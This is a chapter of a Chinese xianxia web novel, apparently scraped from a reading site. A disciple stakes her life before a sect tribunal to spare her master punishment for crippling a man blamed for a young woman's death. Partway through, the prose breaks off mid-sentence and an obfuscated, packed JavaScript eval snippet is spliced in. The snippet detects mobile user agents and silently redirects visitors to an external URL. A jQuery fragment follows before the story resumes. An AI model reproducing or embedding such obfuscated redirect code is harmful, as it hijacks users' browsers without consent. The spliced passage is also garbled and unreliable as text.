默认冷灰
24号文字
方正启体

74. 风乍起天意沉沉(2)

作者:宝髻挽就本书字数:K更新时间:
    朝珩原本正睡眼惺忪,被徒弟一抱一哭,清醒过来,道:“你是不是又哭坟哭早了?为师什么时候要死了?还有,你不在瑶山好好待着休养,来这作甚?”


    阮含星只好继续演下去,抽泣着说:“我听说师尊在仙盟犯禁,要被处罚,十分担忧,便求掌门师伯带我来这里,师尊不在身边,我总是心里忐忑!师尊不回我话,我以为师尊出事了,以为是上次那蛇毒未清……”


    朝珩无奈只好安抚性地拍拍她肩,“为师没事,出去等我。”


    恋恋不舍放开拥抱,她抽着鼻子去外间等。


    师尊身上真暖和,像个火炉。


    该死的春天又到了。


    她摇一摇头,想把那些思绪摇出去。


    “头晃这么厉害,不怕把水甩出去?”朝珩已经理好衣衫,又恢复那幅潇潇疏朗的姿态,坐在她对面。


    她道:“我怕自己乱想。”


    “乱想什么?”


    “想些不好的事。”


    朝珩心道,徒儿什么都好,总是容易紧张担忧,于是安慰道:“他们能真拿我怎样么,一定要行刑,给他打几鞭就是。”


    只是对阮含星而言“此不好”非“彼不好”,她垂眸遮掩眼中几分心虚,岔开话题,“师尊,你为什么伤了他?”


    朝珩抬眸瞥她,“这话说的,你不想打他么?为师看你也很想,从第一次见面就想。”


    “呃……嗯,但之前师尊也不过揍他一顿,这次,似乎……有点严重?”


    “不想退让了,”他道:“匹夫竖子,所作所为,实非丈夫,原不想脏我的剑,怎料他非得狂吠,令人生厌!”


    朝珩回想起来,仍是眼中有愠色,不由甩开玄扇,轻扇清心。


    “听说冯秀走了……是因为他的缘故么?那姑娘和方家、和慕清师兄,究竟是怎样一回事呢?”


    提起冯秀,她见他摇扇渐轻,面色有一丝动容。


    原来李家和冯家曾都是镇上的邻居,李幼宁和冯秀分别是两家的独子独女,两家关系密切,两人年龄相仿,算是青梅竹马。


    但两人性情迥异,李幼宁自小好研习仙道之学,一心想拜入瑶山,又的确有些灵根妙性,据说幼年时独行山中遇虎,虎都不忍伤之,他心智坚定、心绪淡漠,仿若天生的修士俊材。


    而冯秀活泼直率,从小好走马斗狗,小时一直是周围的小孩王,长大后亦是性情泼辣。她从小爱慕李幼宁,可惜神女有心,襄王无意。


    十六那年,李幼宁拜别父母,上山学道,道号慕清。而冯秀不愿嫁人,做了绣馆学徒。


    天意弄人,时隔两年,一场夜中大火,将整条街的楼院烧着,冯家和李家父母皆亡故,冯秀活了下来,不幸的是,因吸入了大量浓烟,伤了心智,手也不似从前灵活,绣馆不愿再接纳她。


    修界有默认的规则,凡人入宗门,虽不需斩断尘缘,但也要淡泊心志,莫执着于前尘,所以山下事,李幼宁沉浸修道练剑,丝毫不知。


    冯秀想告诉他,也想为自己寻一处庇护,于是踏上寻瑶山之路,然而山高路远,试过几次都因各种各样原因败回,回到镇上,便遇见方员外。


    她听过方员外的名声,在镇上算知名的善财主,她自知和变成李慕清的李幼宁已然无望,左右图个庇护,便被方员外半哄半骗入府,作了继妻。


    起初,方员外确实和她有段浓情蜜意的时间,有求必应,珠宝华服,应有尽有,她觉得之前的执念算了吧,这人老是老了点,心还是好的。于是她给李幼宁写封信,想寄给瑶山,告知他今日现状,也为往事作结。


    谁知这信被方员外看到了。


    方员外大怒,给了她一巴掌,骂她吃里扒外,吃他住他还想着别的男人,任她如何解释都不听。也从那次开始,方员外开始动辄对她拳脚相向,问便说是她心思不清不楚、水性杨花,说“若非你心里念着那个瑶山修士,我会如此待你?”


    时间长了,方老夫人也知道了,也开始磋磨她,立规矩。


    冯秀曾说,若不是那场大火伤了脑子,伤了身体,怎会这般由他们折磨至此。放在从前,她骂人一顶十,如今却输给这么两个人。


    她想过无数次逃走,方府大宅对她而言太像一个窒息的牢笼,她离成功最近的一次,已经跑出去,却被镇官亲手送了回来。


    这邻里官府,谁没受过方员外的恩惠,又谁不愿意卖方员外这个顺水人情?


    方员外甚至放开宅门,说:“你出去吧,你出去我也不怕。”


    那之后,折磨更严重。


    她没办法,只能熬,直到方员外暴毙那日,府上混乱,她借请白事知宾为由出了府,求动李叔办事的同时,帮她送一封信。


    于是那封信终于辗转到李慕清手中,也就有了那日那么巧的“英雄救美”桥段。


    冯秀说,她有很多时候确实想让方员外死,但她没下手,早知道会被这般诬赖,还不如早点一刀把他砍了。


    阮含星道:“连在方府受折磨的时日都没有寻死,到问仙盟却死了。”


    “那狗贼是故意的,他趁我和师兄回山,对冯秀说了不该说的话,没多久,冯秀就撞墙走了,只不知慕清现在如何,我担心他走不出来。”


    “师尊,你还有空担心别人,我是担心你才跑来的,我以为你被他们欺负了。”


    “笑话!他们也配?为师自然没事,倒是你,伤没好乱出来跑什么?”


    正当说话时,门外传来声音,“清梧君、阮师妹,秦盟主有请。”


    阮含星去开门,是方才引她过来的金衫道君,二人见礼,那道君道:“秦盟主议事完毕,此时正在妙法殿,莲华圣君已前往,还请二位同去。”


    朝珩悠哉走到门边,“你给我解开,我才能出门去。”


    阮含星这才看见一阵波光浮动中,他双腕上竟显出一对金色的锁链,正分别束缚在两只腕上,而另一边连着室内阵法。


    那双腕青紫血管分明,金色锁链束缚着,隐有一道摩挲出来的红痕。


    这双腕无束缚时能非常灵动迅捷地运剑,被束缚时却失去灵力犹如困兽。


    如果被束时被她握住,或是做些其他什么……


    阮含星一瞬间脑海里又开始发散。


    总感觉觉醒了什么了不得的东西。


    金衫道君道一声抱歉,朝珩双手上连着阵法一端锁链如烟散开,但他双手间的金链依旧存在。


    朝珩:……


    金衫道君:“圣君见谅,调令未除,仙索也不能尽除。”


    他平复一口气,“走。”


    待到妙法殿内,殿前主位正坐着一个看起来有些眼熟的金衣老者,鹤发童颜,神情端肃,阮含星想起来,他的长相与金沙山遇见的栖霞剑宗秦老宗主很相似。


    那应当就是问仙盟的秦盟主。


    都姓秦,原来是兄弟本家。


    左边坐了几个人,她不认识,皆是装束各异,看起来人模人样,应也是些有身份的人。


    右边上座是朝璟,此外还有两个座位。


    李慕清并没来。


    朝珩来了,一句话也没说,撩开衣袍就坐中间那椅子上,也不看一眼上座人。


    她抬眼看了眼秦盟主和对面的人,秦盟主面色还好,藏得住,对面有人急了。


    “不愧是剑圣,连到妙法殿见秦盟主都不拜,好大派头!”


    其他人虽没搭腔,但脸色也能看出他们都十分认同。


    阮含星以为朝珩不会回应,没想到他反而起身笑一笑,悠悠道:“珩双手被缚,拜也拜不好,反显得我轻视盟主,不如不拜,敬意都在心里,非那么虚伪作甚?像李门主这么懂礼的人,一定能理解,心诚最重要,你说对吧李门主?”


    朝璟清清嗓,他才坐回去。


    她心中暗自发笑,原来世上还有管的住她师尊的人。


    那人脸都青了,“剑圣说笑了,我姓刘,不姓李。”


    “哦,失敬失敬,差不多。上次说这话的是他,我以为只有他这么知节守礼,原来花开并蒂。”


    朝璟又咳了两声。


    别说了,师尊,再说掌门咳疾都要犯了。


    当然,后来她才知道,那个所谓的‘李门主’前些日子遇见蛇族被绞杀了。


    很难说这个错误不是故意的。


    上面的秦盟主才捋一把白色长髯,语气不急不慢,声音低低沉沉,像古朴的钟,在空旷大殿中嗡鸣,他没理会这前面插曲,而是单刀直入,“阿珩,前日的事,你想清楚了?你废文轩一只手,触犯大律,总要给修界一个交代。”


    阮含星心中一跳,原来并非只是伤了一点。


    朝珩道:“陆文轩把欠冯秀的命给她,我就把手给他。”


    秦盟主道:“冯秀是自杀,与文轩无关。”


    朝珩:“方员外是自己死,和冯秀无关。”


    秦盟主:“所有人都目击他的棺材里有地宫浊气,而那日李慕清带她畏罪潜逃,方老夫人亦指证方员外的死是冯秀联合瑶山之人所为。”


    朝珩:“所有人都知道他进冯秀厢房,冯秀才自杀的,我指证冯秀的死和陆文轩有关。”


    “你没有证据,文轩只是例行盘问,冯秀很大可能是畏罪自杀。”


    “方老夫人同样没证据,方员外怎么死的到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303774|161800||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    现在都没定论,很大可能就是老死了,何故非要安给一个无辜女子?”


    “阿珩,你不懂,我不信莲华君不懂,”秦盟主移了目光,望向朝璟,“一个凡女,一个前途大好的弟子,孰轻孰重,何况还沾着地宫,是否还要继续牵缠下去,莲华自可掂量。”


    朝珩道:“自然同轻同重,但这件事与轻重无关,只和真假黑白有关。凡事未清,怎可匆匆定论使善者蒙冤?方员外尸身无伤,浊气伤人有痕,开棺有异是死后的事,那浊气与他死因无关,他死未必因地宫……”


    秦盟主本就无笑容的脸上更是肃怒,打断他道:“不必多言,李慕清之事还会继续查探,如今要论的是你朝珩的罪!私斗伤同道,按仙盟律法,当于神像前鞭笞四十下,你致文轩左手残废、修为大退,如此下判令已是对你格外优容!文轩、慕清是否有罪往后再论,你身为剑道表率,不遵律法、肆意妄为,更易成害。”


    朝璟道:“盟主,念在他诛灭地宫、大伤元氏的功勋上,可否减些,地宫与蛇族若卷土重来,修界正是用人之际,切不可从己身伤起。”


    “修界不是只有一个剑圣,亦不是只有一个瑶山,我总要给所有修士一个交代,正因他这些功勋,才要秉公执法。否则,都以为修为高便可无视律法规矩,那修界同陵江地宫有何区别?”


    朝珩道:“可以打,打罢。我愿意在陆文轩坟头受罚,你打我我还要叫好。”


    秦盟主微眯双眼,道:“都说你从地宫回来沉稳了,我看你一点没变,仍是如此狂妄乖张。既如此,先去神像前静心罢。”


    阮含星感到坐在右边的朝珩忽然缄默,她向他看去,却发现他腕间隐隐有了血的痕迹。


    是那道隐藏起来的金色细链,开始收紧。


    老匹夫!


    怒火中烧,她却只得忍下,毕竟这秦盟主,看起来连朝璟和朝珩都没办法直接对抗。


    她看见他低垂眉目间,琥珀眸中的不甘,和收紧的下颌与紧抿的唇。


    “秦盟主!”她从椅子上站起。


    一瞬间,所有暗藏心思的眸光都被她吸引。


    “你做什么?”朝珩低声急问。


    他可以放肆,受罚惯了,但他不希望她傻乎乎地掺和进来。


    她恍若未闻道:“听说遇春台的主人百晓生会制作‘曾经沧海’符,且百晓天下事,曾经沧海符也许可窥见逝者生前的些许记忆,只要知道冯秀死前经历了什么,我们大概就知道她为何而死,死因到底与陆宫主有无关系。若我们请百晓生来看看方员外尸身,说不定还会有更新的发现。”


    “无知小儿!”左边席位有人嗤笑道:“且不说曾经沧海符是百年难逢的圣物,就说这百晓生,难道我们不知道他神通广大么?只是他除青雀法会外从不在修界公开露面,也不出遇春台一步,你以为想请就请,想求就求?你连百晓生面都见不到!”


    另一人道:“何况,百晓生可是亲自说过,绝不踏足问仙盟或地宫这些地方一步的,你就是见到,人家也来不了。”


    秦盟主只淡淡道:“坐下吧。”


    朝珩传音给她:“无事,他们打就打了,为师又不差这一顿,遇春生不会来,尤其春日,她更不出门。”


    她不理会,只道:“盟主,请给我一日时间,我把她请来,届时再做定夺也不迟。”


    “小姑娘,拖延时间,没有意义。”


    “若我寻不来,我与师尊同罪同罚。”她掷地有声,朝秦盟主行一礼。


    隐约,她感觉秦盟主眸中泛起凉薄的兴味,“四十鞭,剑圣不过掉层皮,你却会死。”


    朝珩阻拦:“此事与她无关!”


    朝璟忙道:“小子戏言,盟主不可当真!”


    阮含星立马道:“秦盟主,我非戏言,求您给我一日,就一日。”


    秦盟主这才嗯了声,说,好。


    有意思。


    事不宜迟,她立马动身,临行前她向朝璟和朝珩都一拜,二人起身送她,她对朝珩道:“师尊,当初在瑶水镇,你对我说过一句话,还记得么?”


    时光的声音仿若在此刻重叠。


    ——含星,若你想,凡事可成。


    “若我想,凡事可成,凡试可成。等我。”


    留下淡紫的背影,衣袂翩若蝶翼。


    问仙盟不让御剑,她便从妙法殿跑向来时经历过的三光神像、十尊仙君、三十六正仙、洪荒诸神兽、七十二地仙、一百零八凡仙。


    最终跑出神仙外,回到自在天,再御剑向云间。


    而她柔美面容上炙热坚定的眼神,终也化作一个烙印,隐隐约约,烫在谁的心上。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)